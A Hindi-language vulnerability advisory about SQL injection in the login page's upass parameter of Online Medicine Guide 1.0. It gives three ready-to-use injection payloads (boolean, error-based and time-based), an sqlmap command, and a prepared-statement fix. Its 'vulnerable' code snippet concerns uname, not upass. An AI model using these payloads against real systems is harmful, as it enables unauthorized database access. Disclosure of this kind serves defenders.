
code-projects Online Medicine Guide 1.0 SQL Injection के प्रति संवेदनशील है
यह दस्तावेज़ ऑनलाइन मेडिसिन गाइड वेब एप्लिकेशन में खोजी गई एक गंभीर SQL इंजेक्शन भेद्यता की रूपरेखा प्रस्तुत करता है। यह भेद्यता अनधिकृत डेटाबेस एक्सेस की अनुमति देती है और एप्लिकेशन तथा इसके उपयोगकर्ताओं के लिए महत्वपूर्ण सुरक्षा जोखिम पैदा करती है।
/login.phpयह भेद्यता /login.php फ़ाइल में अपर्याप्त इनपुट सत्यापन और स्वच्छता के कारण उत्पन्न होती है। एप्लिकेशन upass पैरामीटर से उपयोगकर्ता इनपुट को उचित स्वच्छता या तैयार स्टेटमेंट के बिना सीधे SQL क्वेरी में जोड़ता है।
तकनीकी मूल कारण:
/login.phpupass (POST)POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
भेद्यता की पुष्टि sqlmap का उपयोग करके की गई:
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

upass पैरामीटर के लिए इनपुट सत्यापन लागू करेंपहले (भेद्य):
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
बाद में (सुरक्षित):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
दस्तावेज़ संस्करण: 1.0
अंतिम अद्यतन: 03/10/2025 (dd/mm/yyyy)